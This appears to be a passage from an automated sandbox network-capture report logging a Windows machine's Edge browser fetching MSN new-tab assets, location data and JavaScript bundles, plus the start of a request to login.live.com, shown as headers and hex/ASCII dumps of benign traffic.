2024-04-23 21:02:27 UTC	11989	IN	Data Raw: 7b 0d 0a 20 20 22 63 6f 6e 66 69 67 56 65 72 73 69 6f 6e 22 3a 20 33 32 2c 0d 0a 20 20 22 50 72 69 76 69 6c 65 67 65 64 45 78 70 65 72 69 65 6e 63 65 73 22 3a 20 5b 0d 0a 20 20 20 20 22 53 68 6f 72 65 6c 69 6e 65 50 72 69 76 69 6c 65 67 65 64 45 78 70 65 72 69 65 6e 63 65 49 44 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 43 4f 55 50 4f 4e 53 5f 43 48 45 43 4b 4f 55 54 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 4c 4f 57 45 52 5f 50 52 49 43 45 5f 46 4f 55 4e 44 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 42 49 4e 47 5f 53 45 41 52 43 48 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 52 45 42 41 54 45 Data Ascii: { "configVersion": 32, "PrivilegedExperiences": [ "ShorelinePrivilegedExperienceID", "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT", "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND", "SHOPPING_AUTO_SHOW_BING_SEARCH", "SHOPPING_AUTO_SHOW_REBATE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	49914	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:26 UTC	963	OUT	GET /service/v1/news/users/me/locations?apikey=1hYoJsIRvPEnSkk0hlnJF2092mHqiz7xFenIFKa9uc&activityId=E77229BA-D79F-43CA-83B8-B957C0F02B66&ocid=pdp-peregrine&cm=en-us&it=app&user=m-09C025F5A71D6FE2180F319FA60A6E8D&scn=APP_ANON HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00; MUIDB=09C025F5A71D6FE2180F319FA60A6E8D; _C_ETH=1
2024-04-23 21:02:26 UTC	3348	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Access-Control-Allow-Headers: TicketType,RequestContinuationKey,AuthToken,Content-Type,x-client-activityid,ms-cv,OneSvc-Uni-Feat-Tun,signedInCookieName,muid,appid,User-Location,user-location,userauthtoken,usertickettype,sitename,s2sauthtoken,thumbprint,Authorization,Ent-Authorization,UserIdToken,DDD-TMPL,DDD-ActivityId,DDD-FeatureSet,DDD-Session-ID,Date,date,ads-referer,ads-referer,taboola-sessionId,taboola-sessionid,Akamai-Request-ID,Akamai-Server-IP,X-MSEdge-Ref,DDD-DebugId,s-xbox-token,OneWebServiceLatency,X-FD-Features,DDD-UserType,traceparent,Widgets,Muted,Velocity,DDD-Auth-Features,SoftLanding,PrefMigrated Access-Control-Expose-Headers: TicketType,RequestContinuationKey,AuthToken,Content-Type,x-client-activityid,ms-cv,OneSvc-Uni-Feat-Tun,signedInCookieName,muid,appid,User-Location,user-location,userauthtoken,usertickettype,sitename,s2sauthtoken,thumbprint,Authorization,Ent-Authorization,UserIdToken,DDD-TMPL,DDD-ActivityId,DDD-FeatureSet,DDD-Session-ID,Date,date,ads-referer,ads-referer,taboola-sessionId,taboola-sessionid,Akamai-Request-ID,Akamai-Server-IP,X-MSEdge-Ref,DDD-DebugId,s-xbox-token,OneWebServiceLatency,X-FD-Features,DDD-UserType,traceparent,Widgets,Muted,Velocity,DDD-Auth-Features,SoftLanding,PrefMigrated DDD-AuthenticatedWithJwtFlow: False DDD-UserType: AnonymousMuid DDD-ActivityId: 662821e2-33ba-4d37-af54-231594d763b2 DDD-StrategyExecutionLatency: 00:00:00.0081595 DDD-DebugId: 662821e2-33ba-4d37-af54-231594d763b2\|2024-04-23T21:02:26.9154977Z\|fabric_msn\|ESU\|News_400 DDD-Auth-Features: MuidStateOrigin:MuidFromCookie OneWebServiceLatency: 10 X-MSEdge-ResponseInfo: 10 Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA X-Ceto-ref: 662821e233ba4d37af54231594d763b2\|AFD:662821e233ba4d37af54231594d763b2\|2024-04-23T21:02:26.899Z X-MSEdge-Ref: Ref A: 986B220E20D14D6FA49F8FCB93CF270A Ref B: ASHEDGE1411 Ref C: 2024-04-23T21:02:26Z Expires: Tue, 23 Apr 2024 21:02:26 GMT Date: Tue, 23 Apr 2024 21:02:26 GMT Content-Length: 375 Connection: close Set-Cookie: _C_ETH=1; expires=Mon, 22 Apr 2024 21:02:26 GMT; domain=.msn.com; path=/; secure; httponly Set-Cookie: _C_Auth= Set-Cookie: _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; domain=.msn.com; path=/; httponly Akamai-Request-BC: [a=23.11.231.159,b=402748995,c=g,n=US_GA_ATLANTA,o=20940],[a=204.79.197.203,c=o] Server-Timing: clientrtt; dur=105, clienttt; dur=42, origin; dur=42 , cdntime; dur=0 Akamai-Cache-Status: NotCacheable from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18017643 Access-Control-Allow-Methods: PUT,PATCH,POST,GET,OPTIONS,DELETE Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com X-AS-SuppressSetCookie: 1 Cache-Control: private, max-age=0 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906146.18017643 Vary: Origin
2024-04-23 21:02:26 UTC	375	IN	Data Raw: 5b 7b 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 73 74 61 74 65 22 3a 22 47 65 6f 72 67 69 61 22 2c 22 63 69 74 79 22 3a 22 41 74 6c 61 6e 74 61 22 2c 22 70 6f 73 74 61 6c 43 6f 64 65 22 3a 22 33 30 33 30 31 22 2c 22 69 73 4c 6f 63 61 6c 69 7a 65 64 22 3a 74 72 75 65 2c 22 61 63 63 75 72 61 63 79 22 3a 32 32 34 30 32 2e 30 36 38 33 35 39 33 37 35 2c 22 69 73 41 75 74 6f 44 65 74 65 63 74 65 64 22 3a 74 72 75 65 2c 22 6c 6f 63 61 74 69 6f 6e 53 6f 75 72 63 65 22 3a 22 52 65 76 65 72 73 65 49 70 22 2c 22 64 65 74 65 63 74 69 6f 6e 4d 65 74 61 64 61 74 61 22 3a 7b 22 69 70 43 61 74 65 67 6f 72 79 22 3a 22 50 72 6f 78 79 22 2c 22 69 70 43 61 74 65 67 6f 72 79 43 6f Data Ascii: [{"country":"United States","countryCode":"US","state":"Georgia","city":"Atlanta","postalCode":"30301","isLocalized":true,"accuracy":22402.068359375,"isAutoDetected":true,"locationSource":"ReverseIp","detectionMetadata":{"ipCategory":"Proxy","ipCategoryCo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	49916	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:27 UTC	588	OUT	GET /bundles/v1/edgeChromium/latest/libs_super-feed_dist_feed-manager_FeedManagerWithClientAd_js-node_modules_fluentui_svg-icons_-8f340f.92749e5d36b29b902c76.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:27 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: KrpHyj7kS93x9t0yoBxYzg== Last-Modified: Tue, 23 Apr 2024 19:32:45 GMT ETag: 0x8DC63CC26A19A37 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 27ab7129-601e-005d-3ab5-95d696000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:27 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402749175,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 180176f7 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906147.180176f7 Vary: Origin
2024-04-23 21:02:27 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 6c 69 62 73 5f 73 75 70 65 72 2d 66 65 65 64 5f 64 69 73 74 5f 66 65 65 64 2d 6d 61 6e 61 67 65 72 5f 46 65 65 64 4d 61 6e 61 67 65 72 57 69 74 68 43 6c 69 65 6e 74 41 64 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 66 6c 75 65 6e 74 75 69 5f 73 76 67 2d 69 63 6f 6e 73 5f 2d 38 66 33 34 30 66 22 5d 2c 7b 32 35 34 39 31 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 61 2e 64 28 Data Ascii: 00006000(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["libs_super-feed_dist_feed-manager_FeedManagerWithClientAd_js-node_modules_fluentui_svg-icons_-8f340f"],{25491:function(e,t,a){"use strict";a.d(
2024-04-23 21:02:27 UTC	9395	IN	Data Raw: 65 72 3d 22 77 65 61 74 68 65 72 22 2c 65 2e 57 65 61 74 68 65 72 57 69 64 67 65 74 73 3d 22 77 65 61 74 68 65 72 57 69 64 67 65 74 73 22 2c 65 2e 57 65 61 74 68 65 72 4c 6f 63 61 6c 3d 22 77 65 61 74 68 65 72 4c 6f 63 61 6c 22 2c 65 2e 57 69 6e 64 6f 77 73 3d 22 77 69 6e 64 6f 77 73 22 2c 65 2e 57 69 6e 64 6f 77 73 4e 65 77 73 50 6c 75 73 3d 22 77 69 6e 64 6f 77 73 4e 65 77 73 50 6c 75 73 22 2c 65 2e 57 69 6e 64 6f 77 73 4e 65 77 73 57 69 64 67 65 74 73 3d 22 77 69 6e 57 69 64 67 65 74 73 22 2c 65 2e 57 69 6e 64 6f 77 73 53 68 65 6c 6c 3d 22 77 69 6e 64 6f 77 73 53 68 65 6c 6c 22 2c 65 2e 57 69 6e 64 6f 77 73 53 68 65 6c 6c 56 32 3d 22 77 69 6e 64 6f 77 73 53 68 65 6c 6c 56 32 22 2c 65 2e 57 69 6e 64 6f 77 73 4e 65 77 73 42 61 72 3d 22 77 69 6e 64 6f 77 Data Ascii: er="weather",e.WeatherWidgets="weatherWidgets",e.WeatherLocal="weatherLocal",e.Windows="windows",e.WindowsNewsPlus="windowsNewsPlus",e.WindowsNewsWidgets="winWidgets",e.WindowsShell="windowsShell",e.WindowsShellV2="windowsShellV2",e.WindowsNewsBar="window
2024-04-23 21:02:27 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 22 2c 74 69 74 6c 65 3a 22 52 65 77 61 72 64 73 20 66 6f 72 20 79 6f 75 21 22 2c 69 64 3a 22 34 61 31 63 66 38 63 38 2d 63 39 37 62 2d 34 36 62 38 2d 62 31 62 64 2d 31 63 64 64 64 62 65 38 63 39 38 65 22 2c 74 61 67 69 64 3a 22 31 31 37 33 30 36 30 37 22 7d 3b 76 61 72 20 6b 3d 61 28 36 30 30 33 30 29 3b 63 6c 61 73 73 20 78 20 65 78 74 65 6e 64 73 20 6b 2e 4c 7b 67 65 74 20 74 69 74 6c 65 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 70 6c 61 74 66 6f 72 6d 44 61 74 61 2e 74 69 74 6c 65 7d 67 65 74 20 64 65 73 63 72 69 70 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 70 6c 61 74 66 6f 72 6d 44 61 74 61 2e 64 65 73 63 72 69 70 74 69 6f 6e 7d 67 65 74 20 63 6f 6e 74 65 6e 74 49 6d 61 67 65 28 29 7b 63 6f 6e 73 Data Ascii: 00006000",title:"Rewards for you!",id:"4a1cf8c8-c97b-46b8-b1bd-1cdddbe8c98e",tagid:"11730607"};var k=a(60030);class x extends k.L{get title(){return this._platformData.title}get description(){return this._platformData.description}get contentImage(){cons
2024-04-23 21:02:27 UTC	8204	IN	Data Raw: 63 6c 75 64 65 73 28 22 67 61 6d 69 6e 67 46 65 65 64 45 6e 67 61 67 65 6d 65 6e 74 43 6f 75 6e 74 33 30 44 22 29 26 26 74 5b 65 5d 2e 73 70 6c 69 74 28 22 2c 22 29 2e 66 6f 72 45 61 63 68 28 28 65 3d 3e 7b 63 6f 6e 73 74 20 74 3d 65 2e 73 70 6c 69 74 28 22 3a 22 29 2c 5b 69 2c 72 5d 3d 74 2c 6e 3d 72 3f 4e 75 6d 62 65 72 2e 70 61 72 73 65 49 6e 74 28 72 2c 31 30 29 3a 6e 75 6c 6c 3b 22 67 61 6d 69 6e 67 46 65 65 64 45 6e 67 61 67 65 6d 65 6e 74 53 75 6d 37 44 22 21 3d 3d 69 26 26 22 67 61 6d 69 6e 67 46 65 65 64 45 6e 67 61 67 65 6d 65 6e 74 43 6f 75 6e 74 37 44 22 21 3d 3d 69 26 26 22 67 61 6d 69 6e 67 46 65 65 64 45 6e 67 61 67 65 6d 65 6e 74 53 75 6d 33 30 44 22 21 3d 3d 69 26 26 22 67 61 6d 69 6e 67 46 65 65 64 45 6e 67 61 67 65 6d 65 6e 74 43 6f 75 Data Ascii: cludes("gamingFeedEngagementCount30D")&&t[e].split(",").forEach((e=>{const t=e.split(":"),[i,r]=t,n=r?Number.parseInt(r,10):null;"gamingFeedEngagementSum7D"!==i&&"gamingFeedEngagementCount7D"!==i&&"gamingFeedEngagementSum30D"!==i&&"gamingFeedEngagementCou
2024-04-23 21:02:27 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 65 61 72 63 68 65 73 43 61 72 64 22 2c 5b 72 65 2e 55 2e 72 65 77 61 72 64 73 44 61 69 6c 79 43 68 65 63 6b 69 6e 43 61 72 64 5d 3a 22 72 65 77 61 72 64 73 44 61 69 6c 79 43 68 65 63 6b 69 6e 43 61 72 64 22 2c 5b 72 65 2e 55 2e 72 69 63 68 43 61 6c 65 6e 64 61 72 43 61 72 64 5d 3a 22 72 69 63 68 43 61 6c 65 6e 64 61 72 43 61 72 64 22 2c 5b 72 65 2e 55 2e 73 68 61 72 65 64 48 65 72 6f 4e 65 77 73 43 61 72 64 5d 3a 22 73 68 61 72 65 64 48 65 72 6f 4e 65 77 73 43 61 72 64 22 2c 5b 72 65 2e 55 2e 73 68 6f 70 70 69 6e 67 42 75 79 69 6e 67 47 75 69 64 65 50 72 65 6d 69 75 6d 43 61 72 64 5d 3a 22 73 68 6f 70 70 69 6e 67 42 75 79 69 6e 67 47 75 69 64 65 50 72 65 6d 69 75 6d 43 61 72 64 22 2c 5b 72 65 2e 55 2e 73 68 6f 70 70 69 6e 67 Data Ascii: 00004000earchesCard",[re.U.rewardsDailyCheckinCard]:"rewardsDailyCheckinCard",[re.U.richCalendarCard]:"richCalendarCard",[re.U.sharedHeroNewsCard]:"sharedHeroNewsCard",[re.U.shoppingBuyingGuidePremiumCard]:"shoppingBuyingGuidePremiumCard",[re.U.shopping
2024-04-23 21:02:27 UTC	12	IN	Data Raw: 74 2d 61 74 74 72 69 62 75 74 0d 0a Data Ascii: t-attribut
2024-04-23 21:02:27 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 69 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 6d 73 66 74 2d 63 6f 6e 74 65 6e 74 2d 63 61 72 64 5b 69 64 3d 22 63 6f 6e 74 65 6e 74 63 61 72 64 5f 24 7b 65 3d 3e 65 2e 69 64 7d 22 5d 20 2e 61 74 74 72 69 62 75 74 69 6f 6e 5f 63 6f 6e 74 61 69 6e 65 72 5f 24 7b 65 3d 3e 65 2e 69 64 7d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 63 61 6c 63 28 31 30 30 25 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 76 61 72 28 2d 2d 74 79 70 65 2d 72 61 6d 70 2d 6d 69 6e 75 73 2d 31 2d 6c 69 6e 65 2d 68 65 69 67 68 74 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 Data Ascii: 00004000ion { display: flex; } msft-content-card[id="contentcard_${e=>e.id}"] .attribution_container_${e=>e.id} { width: calc(100%); min-height: var(--type-ramp-minus-1-line-height); positi
2024-04-23 21:02:27 UTC	12	IN	Data Raw: 6c 65 3d 22 67 72 69 64 2d 61 0d 0a Data Ascii: le="grid-a
2024-04-23 21:02:27 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 72 65 61 3a 24 7b 65 3d 3e 65 2e 67 72 69 64 41 72 65 61 7d 3b 63 6f 6e 74 61 69 6e 3a 75 6e 73 65 74 22 0a 20 20 20 20 63 6c 61 73 73 3d 22 24 7b 65 3d 3e 65 2e 63 61 72 64 53 69 7a 65 7d 22 0a 3e 0a 20 20 20 20 24 7b 65 3d 3e 28 30 2c 70 65 2e 4f 74 29 28 65 2e 64 65 6e 73 65 43 6f 6e 66 69 67 49 6e 66 6f 2c 7b 70 72 6f 70 65 72 74 69 65 73 3a 7b 64 65 6e 73 65 44 61 74 61 3a 65 2e 64 65 6e 73 65 44 61 74 61 2c 74 65 6c 65 6d 65 74 72 79 4f 62 6a 65 63 74 3a 65 2e 74 65 6c 65 6d 65 74 72 79 4f 62 6a 65 63 74 7d 2c 6d 65 6d 6f 69 7a 65 3a 21 31 2c 69 6e 63 6c 75 64 65 54 65 6c 65 6d 65 74 72 79 54 61 67 3a 21 31 7d 29 7d 0a 3c 2f 66 6c 75 65 6e 74 2d 63 61 72 64 3e 0a 60 3b 76 61 72 20 63 74 3d 61 28 34 30 35 35 29 2c 70 74 Data Ascii: 00006000rea:${e=>e.gridArea};contain:unset" class="${e=>e.cardSize}"> ${e=>(0,pe.Ot)(e.denseConfigInfo,{properties:{denseData:e.denseData,telemetryObject:e.telemetryObject},memoize:!1,includeTelemetryTag:!1})}</fluent-card>`;var ct=a(4055),pt
2024-04-23 21:02:27 UTC	8204	IN	Data Raw: 4e 65 77 54 61 62 3a 72 2c 67 61 6d 69 6e 67 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 43 61 72 64 43 6f 6e 66 69 67 49 6e 66 6f 3a 64 2c 6d 65 74 61 44 61 74 61 3a 61 2c 73 64 43 61 72 64 41 63 74 69 6f 6e 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3a 6e 2c 68 69 64 65 43 61 72 64 43 61 6c 6c 62 61 63 6b 3a 69 2c 67 6f 54 6f 50 65 72 73 6f 6e 61 6c 69 7a 65 43 61 6c 6c 62 61 63 6b 3a 73 7d 3b 72 65 74 75 72 6e 28 30 2c 6e 65 2e 43 75 29 28 7b 69 64 3a 22 67 61 6d 69 6e 67 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 43 61 72 64 22 2c 65 78 70 65 72 69 65 6e 63 65 54 79 70 65 3a 6e 75 6c 6c 3d 3d 64 7c 7c 6e 75 6c 6c 3d 3d 3d 28 74 3d 64 2e 63 6f 6e 66 69 67 52 65 66 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 65 78 70 65 72 69 65 6e Data Ascii: NewTab:r,gamingPersonalizationCardConfigInfo:d,metaData:a,sdCardActionClickHandler:n,hideCardCallback:i,goToPersonalizeCallback:s};return(0,ne.Cu)({id:"gamingPersonalizationCard",experienceType:null==d\|\|null===(t=d.configRef)\|\|void 0===t?void 0:t.experien

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	49918	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:27 UTC	1026	OUT	GET /service/graph/actions?%24top=20&%24filter=actionType+eq+%27Follow%27+and+%28targetType+eq+%27Location%27%29&apikey=1hYoJsIRvPEnSkk0hlnJF2092mHqiz7xFenIFKa9uc&activityId=E77229BA-D79F-43CA-83B8-B957C0F02B66&ocid=pdp-peregrine&cm=en-us&it=app&user=m-09C025F5A71D6FE2180F319FA60A6E8D&scn=APP_ANON HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00; MUIDB=09C025F5A71D6FE2180F319FA60A6E8D
2024-04-23 21:02:27 UTC	3325	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Access-Control-Allow-Headers: TicketType,RequestContinuationKey,AuthToken,Content-Type,x-client-activityid,ms-cv,OneSvc-Uni-Feat-Tun,signedInCookieName,muid,appid,User-Location,user-location,userauthtoken,usertickettype,sitename,s2sauthtoken,thumbprint,Authorization,Ent-Authorization,UserIdToken,DDD-TMPL,DDD-ActivityId,DDD-FeatureSet,DDD-Session-ID,Date,date,ads-referer,ads-referer,taboola-sessionId,taboola-sessionid,Akamai-Request-ID,Akamai-Server-IP,X-MSEdge-Ref,DDD-DebugId,s-xbox-token,OneWebServiceLatency,X-FD-Features,DDD-UserType,traceparent,Widgets,Muted,Velocity,DDD-Auth-Features,SoftLanding,PrefMigrated Access-Control-Expose-Headers: TicketType,RequestContinuationKey,AuthToken,Content-Type,x-client-activityid,ms-cv,OneSvc-Uni-Feat-Tun,signedInCookieName,muid,appid,User-Location,user-location,userauthtoken,usertickettype,sitename,s2sauthtoken,thumbprint,Authorization,Ent-Authorization,UserIdToken,DDD-TMPL,DDD-ActivityId,DDD-FeatureSet,DDD-Session-ID,Date,date,ads-referer,ads-referer,taboola-sessionId,taboola-sessionid,Akamai-Request-ID,Akamai-Server-IP,X-MSEdge-Ref,DDD-DebugId,s-xbox-token,OneWebServiceLatency,X-FD-Features,DDD-UserType,traceparent,Widgets,Muted,Velocity,DDD-Auth-Features,SoftLanding,PrefMigrated DDD-AuthenticatedWithJwtFlow: False DDD-UserType: AnonymousMuid DDD-ActivityId: 662821e3-d50a-4551-bcda-c5450b827930 DDD-StrategyExecutionLatency: 00:00:00.0014069,00:00:00.0030752 DDD-Auth-Features: MuidStateOrigin:MuidFromCookie DDD-DebugId: 662821e3-d50a-4551-bcda-c5450b827930\|2024-04-23T21:02:27.3980342Z\|fabric_graph\|ESU\|Graph_23 OneWebServiceLatency: 4 X-MSEdge-ResponseInfo: 4 Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA X-Ceto-ref: 662821e3d50a4551bcdac5450b827930\|AFD:662821e3d50a4551bcdac5450b827930\|2024-04-23T21:02:27.397Z X-MSEdge-Ref: Ref A: 0A9D2893FE7343F0829EDA01513CFDC7 Ref B: BL2EDGE2410 Ref C: 2024-04-23T21:02:27Z Expires: Tue, 23 Apr 2024 21:02:27 GMT Date: Tue, 23 Apr 2024 21:02:27 GMT Content-Length: 79 Connection: close Set-Cookie: _C_ETH=1; domain=.msn.com; path=/; secure; httponly Set-Cookie: _C_Auth= Set-Cookie: _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; domain=.msn.com; path=/; httponly Akamai-Request-BC: [a=23.11.231.159,b=402749211,c=g,n=US_GA_ATLANTA,o=20940],[a=204.79.197.203,c=o] Server-Timing: clientrtt; dur=105, clienttt; dur=37, origin; dur=36 , cdntime; dur=1 Akamai-Cache-Status: NotCacheable from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 1801771b Access-Control-Allow-Methods: PUT,PATCH,POST,GET,OPTIONS,DELETE Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com X-AS-SuppressSetCookie: 1 Cache-Control: private, max-age=0 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906147.1801771b Vary: Origin
2024-04-23 21:02:27 UTC	79	IN	Data Raw: 7b 20 22 40 6f 64 61 74 61 2e 63 6f 6e 74 65 78 74 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 6d 73 6e 2e 63 6f 6d 2f 67 72 61 70 68 2f 24 6d 65 74 61 64 61 74 61 23 61 63 74 69 6f 6e 73 22 2c 20 22 76 61 6c 75 65 22 3a 20 5b 5d 7d Data Ascii: { "@odata.context": "https://api.msn.com/graph/$metadata#actions", "value": []}

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49919	40.126.29.9	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:27 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
